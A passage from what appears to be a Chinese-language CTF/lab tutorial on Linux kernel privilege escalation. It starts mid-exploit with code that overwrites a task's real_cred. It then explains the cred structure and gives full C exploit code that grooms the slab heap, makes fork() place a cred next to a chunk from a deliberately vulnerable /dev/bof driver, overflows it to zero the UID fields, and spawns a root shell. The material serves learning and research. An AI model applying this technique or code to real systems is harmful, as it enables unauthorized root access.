void* task_addr = (void *)(*(long *)buf);
//p &((struct task_struct*)0)->real_cred
// 0x5a8
kmemcpy(buf, task_addr+0x5a8, 16);
char* real_cred = (void *)(*(long *)buf);
printf("task_addr: %p\n", task_addr);
printf("real_cred: %p\n", real_cred);
char* cred_ids = malloc(0x1c);
memset(cred_ids, 0, 0x1c);
// 修改 real_cred
kmemcpy(real_cred, cred_ids, 0x1c);
// 修改 task->cred = real_cred
kmemcpy(real_cred+8, &real_cred, 8);
system("sh");
return 0;
}
運行測試

gid 和 groups沒有為 0, 貌似是 qemu 的 特點導致的?因為它們后面的字段能被成功設置為 0
參考
LinuxカーネルモジュールでStackjackingによるSMEP+SMAP+KADR回避をやってみる
利用 set_fs
在內核中 set_fs 是一個用於設置 thread_info->addr_limit 的 宏,利用這個,再加上一些條件,可以直接修改 thread_info->addr_limit , 具體可以看 Android PXN繞過技術研究
修改 cred提權
本節使用 heap_bof 中的代碼作為示例。
漏洞請看 Rop-By-Heap-Vulnerability 小結。
介紹
在內核中用 task_struct 表示一個進程的屬性, 在創建一個進程的時候同時會分配 cred 結構體用於標識進程的權限。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
提權到 root 除了調用 commit_creds(prepare_kernel_cred(0)) 外,我們還可以通過 修改 cred 結構體中 *id 的字段 為0 ,其實就是把 cred 結構體從開始一直到 fsuid 的所有字段全部設置為0, 這樣也可以實現 提權到 root 的目的。
堆溢出為例
本節就實踐一下,前面利用這個驅動的 uaf 漏洞,這節就利用堆溢出。
要利用堆溢出就要搞清楚內核真正分配給我們的內存大小,這里 cred 結構體大小為 0xa8 (編譯一個內核 gdb查看之), 由於向上對齊的特性內核應該會分配 0xc0 大小的內存塊給我們,測試一下(具體代碼可以看最終 exp)。
// 讓驅動分配 10 個 0xa8 的內存塊
for (int i = 0; i < 80; ++i)
{
p.idx = 1;
ioctl(fds[0], 5, &p); // malloc
}
printf("clear heap done\n");
// 讓驅動分配 10 個 0xa8 的內存塊
for (int i = 0; i < 10; ++i)
{
p.idx = i;
ioctl(fds[i], 5, &p); // malloc
}
首先分配 80 個 0xa8 大小內存塊,用於清理內存碎片,這樣就可以使后續的內存分配,可以分配到連續的內存空間。

可以看到清理內存碎片后的分配,是連續的每次分配都是相距 0xc0 ,說明內核實際分配的內存大小就是 0xc0. 這 和 slub 機制描述的一致(分配的 size 向上對齊)
於是利用思路就是
- 首先分配
80個0xa8(實際是0xc0) 的內存塊 對內存碎片進行清理。 - 讓驅動調用幾次
kmalloc(0xa8, GFP_KERNEL ),這會讓內核分配 幾個0xc0的內存塊。 - 釋放中間的一個,然后調用
fork會分配cred結構體,這個結構體會落入剛剛釋放的那個內存塊。 - 這時溢出該內存塊的前一個內存塊,就可以溢出到
cred結構體,然后把 一些字段設置為0,就可以提權了。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct param
{
size_t len; // 內容長度
char* buf; // 用戶態緩沖區地址
unsigned long idx; // 表示 ptr 數組的 索引
};
int main(void)
{
int fds[10];
int ptmx_fds[0x100];
char buf[8];
int fd;
for (int i = 0; i < 10; ++i)
{
fd = open("/dev/bof", O_RDWR);
if (fd == -1) {
printf("open bof device failed!\n");
return -1;
}
fds[i] = fd;
}
struct param p;
p.len = 0xa8;
p.buf = malloc(p.len);
// 讓驅動分配 10 個 0xa8 的內存塊
for (int i = 0; i < 80; ++i)
{
p.idx = 1;
ioctl(fds[0], 5, &p); // malloc
}
printf("clear heap done\n");
// 讓驅動分配 10 個 0xa8 的內存塊
for (int i = 0; i < 10; ++i)
{
p.idx = i;
ioctl(fds[i], 5, &p); // malloc
}
p.idx = 5;
ioctl(fds[5], 7, &p); // free
int now_uid;
// 調用 fork 分配一個 cred結構體
int pid = fork();
if (pid < 0) {
perror("fork error");
return 0;
}
// 此時 ptr[4] 和 cred相鄰
// 溢出 修改 cred 實現提權
p.idx = 4;
p.len = 0xc0 + 0x30;
memset(p.buf, 0, p.len);
ioctl(fds[4], 8, &p);
if (!pid) {
//一直到egid及其之前的都變為了0,這個時候就已經會被認為是root了
now_uid = getuid();
printf("uid: %x\n", now_uid);
if (!now_uid) {
// printf("get root done\n");
// 權限修改完畢,啟動一個shell,就是root的shell了
system("/bin/sh");
} else {
// puts("failed?");
}
} else {
wait(0);
}
getchar();
return 0;
}
